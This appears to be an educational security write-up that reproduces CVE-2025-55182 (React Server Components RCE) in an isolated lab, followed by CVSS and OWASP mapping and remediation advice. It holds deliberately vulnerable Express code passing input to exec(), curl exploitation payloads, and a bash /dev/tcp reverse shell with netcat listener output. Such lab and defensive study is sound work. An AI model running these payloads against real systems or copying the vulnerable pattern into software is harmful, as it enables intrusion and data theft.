
Security research & exploitation analysis of CVE-2025-55182 (React) — CVSS + OWASP Top 10 mapping
Web application vulnerability analysis · M2 Cybersecurity · 2025 Author: Niane Mohamed · LinkedIn
End-to-end exploitation chain of a critical (CVSS 10.0) insecure deserialization vulnerability in React Server Components, from reconnaissance to unauthenticated remote code execution, with full remediation roadmap.
This research targets a deliberately vulnerable lab application built to demonstrate the CVE. All testing occurred in an isolated virtual network with no connection to production systems, real user data, or third-party services.
React Server Components introduced a new serialization format to stream server-rendered components to the client. In vulnerable versions, the RSC endpoint accepts a JSON payload with a cmd field that is passed unsanitized to child_process.exec() as part of the server-side rendering evaluation.
An attacker can send a crafted POST request that:
root in containers)| Component | Vulnerable Range | Patched In |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
A minimal Express + RSC server exposing a /rsc endpoint that unsafely executes commands from the incoming payload — reproducing the vulnerability pattern of the real CVE in a controlled way:
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VULNERABLE: executes attacker-controlled string
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
The X-Powered-By: Express header and unusual port 3000 provide a strong fingerprint that this is a Node.js application — consistent with RSC deployments.
Before attempting anything destructive, validate the vulnerability with a harmless command:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ Confirmed: unauthenticated RCE as root. The server runs with unconstrained privileges.
Upgrade from single-command execution to a full interactive shell:
# Listener on attacker machine
nc -lvnp 4444
# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
Listener receives:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
With root on the target, an attacker could trivially:
/etc/shadow, SSH keys, application secrets, .env filesThe low complexity of this attack — no authentication, no user interaction, single HTTP request — makes it attractive to:
Upgrade React to 19.3.0+ — patched version
npm update react react-server-dom-webpack react-server-dom-esm
Temporary WAF rule (if upgrade is delayed):
Block POST requests to /rsc with JSON body containing "cmd" field
Emergency incident response:
/rsc POST traffic| OWASP Category | Relevance |
|---|---|
| A03:2021 — Injection |
curl, reverse shell engineering, payload craftingMIT License — see LICENSE
Published for educational and defensive research purposes. See ethical disclaimer at top.
Niane Mohamed — Network & Security Engineer 📍 Nouakchott, Mauritania → seeking opportunities in Germany 🇩🇪 📧 [email protected] · 🔗 LinkedIn
| Field | Value |
|---|
| CVE | CVE-2025-55182 |
| Class | Insecure Deserialization → Remote Code Execution |
| CVSS v3.1 | 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Authentication required | None |
| User interaction required | None |
| Attack vector | Network (remote) |
| Component | React Server Components (RSC) runtime |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| Role | OS | Tools |
|---|
| Attacker | Kali Linux (latest) | nmap, curl, netcat, OWASP ZAP, Firefox |
| Target | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| Network | VMware VMnet Host-Only | No internet egress |
| Axis | Impact | Explanation |
|---|
| Confidentiality | Critical | Full read access to all server data |
| Integrity | Critical | Ability to modify application code and user data |
| Availability | High | Attacker can terminate the service or hold it for ransom |
| Regulatory | Severe | GDPR/DSGVO breach with mandatory 72h disclosure · potential 4% global revenue fine |
| Reputational | Severe | Public CVE-mapped breach damages customer trust |
| Financial | High | Incident response, regulatory fines, potential class action |
| Control | Purpose |
|---|
| Disable RSC if unused | Reduce attack surface — many apps don't need server components |
| Strict input validation | Reject any deserialized object containing executable keys |
| Non-root container user | Limit blast radius if RCE recurs |
| Read-only root filesystem | Prevent persistence and binary drop |
| Egress filtering | Block outbound traffic from app servers to arbitrary IPs |
| Control | Purpose |
|---|
| WAF with behavioral analysis | Detect anomalous POST payloads beyond signature rules |
| Runtime Application Self-Protection (RASP) | Block dangerous function calls like exec() at runtime |
| SCA in CI/CD | Catch vulnerable dependencies before deployment (pip-audit, npm audit, Trivy) |
| Penetration testing cadence | Annual + post-major-release |
| Bug bounty program | Incentivize white-hat disclosure before attackers find issues |
| Command injection via deserialized input |
| A08:2021 — Software and Data Integrity Failures | Unsafe deserialization without integrity verification |
| A06:2021 — Vulnerable and Outdated Components | Using React 19.0-19.2 post-disclosure |
| A05:2021 — Security Misconfiguration | Running Node.js as root, no input validation |